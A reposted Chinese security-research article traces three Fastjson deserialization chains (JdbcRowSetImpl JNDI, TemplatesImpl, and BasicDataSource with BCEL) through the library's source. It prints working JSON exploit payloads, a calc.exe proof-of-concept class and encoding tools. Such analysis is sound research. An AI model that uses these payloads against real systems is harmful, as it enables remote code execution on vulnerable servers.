《Dubbo 实现原理与源码解析 —— 精品合集》 《Netty 实现原理与源码解析 —— 精品合集》
《Spring 实现原理与源码解析 —— 精品合集》 《MyBatis 实现原理与源码解析 —— 精品合集》
《Spring MVC 实现原理与源码解析 —— 精品合集》 《数据库实体设计合集》
《Spring Boot 实现原理与源码解析 —— 精品合集》 《Java 面试题 + Java 学习指南》

摘要: 原创出处 www.anquanke.com/post/id/248892 「4ra1n」欢迎转载,保留摘要,谢谢!


🙂🙂🙂关注**微信公众号:【芋道源码】**有福利:

  1. RocketMQ / MyCAT / Sharding-JDBC 所有源码分析文章列表
  2. RocketMQ / MyCAT / Sharding-JDBC 中文注释源码 GitHub 地址
  3. 您对于源码的疑问每条留言将得到认真回复。甚至不知道如何读源码也可以请教噢
  4. 新的源码解析文章实时收到通知。每周更新一篇左右
  5. 认真的源码交流微信群。

Fastjson已被大家分析过很多次,本文主要是对三种利用链做分析和对比

JdbcRowSetImpl

String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}";
JSON.parse(payload);

payload中的a对象用来当作缓存绕过,需要关注的是第二个对象

注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
// conn为空才会调用到这里
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象

protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
// conn为空且dataSourceName不为空才会到这里
InitialContext var1 = new InitialContext();
// 成功触发JNDI注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

根据lookup到com.sun.jndi.rmi.registry.RegistryContext.lookup()

public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
......
return this.decodeObject(var2, var1.getPrefix(1));
}
}

跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);

总结:

  • 实战可以利用,JDNI注入基于较低版本的JDK,LDAP适用范围更广
  • 必须能出网,加载远端的恶意字节码,造成了局限性

TemplateImpl

String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);

注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}

类似第一条链,使用两个对象绕过,其中的Payload为恶意类的字节码再Base64编码的结果,给出简易的py脚本

fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)

该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {
......

反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance

// name不能为空所以在payload中设置a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成RCE

private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}

为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
byte[] bytes = lexer.bytesValue();
......

跟入lexer.bytesValue()方法,看到decodeBase64

public byte[] bytesValue() {
......
// base64解码
return IOUtils.decodeBase64(buf, np + 1, sp);
}

总结:

  • TemplatesImpl类是Java反序列化界比较常用的类,更容易理解和上手
  • 需要开启Feature.SupportNonPublicField,实战中不适用

BasicDataSource

String payload = "{\n" +
" \"name\":\n" +
" {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
" },\n" +
" \"x\" : {\n" +
" \"name\": {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"y\": {\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"c\": {\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\":\"!!!Payload!!!\",\n" +
"\n" +
" \"$ref\": \"$.x.y.c.connection\"\n" +
"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(payload);

这个Payload适用于1.2.37版本,并且需要导入Tomcat相关的包

<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
</dependencies>

生成driverClassName的工具如下

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {
public static void main(String[] args) throws Exception {
JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}

BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码。

生成的BCEL格式大概如下:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

回到Payload,开头一部分用于绕Fastjson黑白名单,没有什么特殊的意义,核心部分如下:

"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"!!!Payload!!!",
"$ref": "$.x.y.c.connection"
}
}
}

这个版本利用的是$ref这个特性:当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection

参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591

if ("$ref" == key && context != null) {
// 传入的ref是$.x.y.c.connection,匹配到else
if ("@".equals(ref)) {
...
} else if ("..".equals(ref)) {
...
} else if ("$".equals(ref)) {
...
} else {
Object refObj = parser.resolveReference(ref);
if (refObj != null) {
object = refObj;
} else {
// 将$.x.y.c.connection加入到Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 处理后设置到context
parser.setContext(context, object, fieldName);

漏洞的触发点在com.alibaba.fastjson.JSON.parse:154

parser.handleResovleTask(value);

跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465

if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
// 看到eval感觉有东西
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {
// skip
}
}
}

跟入JSONPath.eval,这里的segement数组中的是[x,y,c,connection]

public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}

init();

Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segement segement = segments[i];
// 继续跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}

到达com.alibaba.fastjson.JSONPath:1350

public Object eval(JSONPath path, Object rootObject, Object currentObject) {
if (deep) {
List<Object> results = new ArrayList<Object>();
path.deepScan(currentObject, propertyName, results);
return results;
} else {
// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}

继续跟入path.getPropertyValue

protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {
if (currentObject == null) {
return null;
}
if (currentObject instanceof Map) {
Map map = (Map) currentObject;
Object val = map.get(propertyName);

if (val == null && SIZE == propertyNameHash) {
val = map.size();
}

return val;
}

final Class<?> currentClass = currentObject.getClass();

JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最后一次循环到达这里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {
throw new JSONPathException("jsonpath error, path " + path + ", segement " + propertyName, e);
}
}

跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {
FieldSerializer fieldDeser = getFieldSerializer(keyHash);
......
// 跟入
return fieldDeser.getPropertyValue(object);
}

跟入com.alibaba.fastjson.serializer.FieldSerializer:145

public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {
Object propertyValue = fieldInfo.get(object);

到达com.alibaba.fastjson.util.FieldInfo,达到最终触发点:method.invoke

public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}

看到这里的javaObject正是BasicDataSouce

回到BasicDataSource本身

public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {
final Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {

@Override
public Connection run() throws SQLException {
// 跟入createDataSource()
return createDataSource().getConnection();
}
}
// 继续跟入createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();

最终触发点,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL...这种格式后,在newInstance方法执行后被实例化。第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(
driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();

总结:

  • 不需要出网,不需要开启特殊的参数,适用范围较广
  • 目标需要引入tomcat依赖,虽说比较常见,但也是一种限制
文章目录
  1. 1. JdbcRowSetImpl
  2. 2. TemplateImpl
  3. 3. BasicDataSource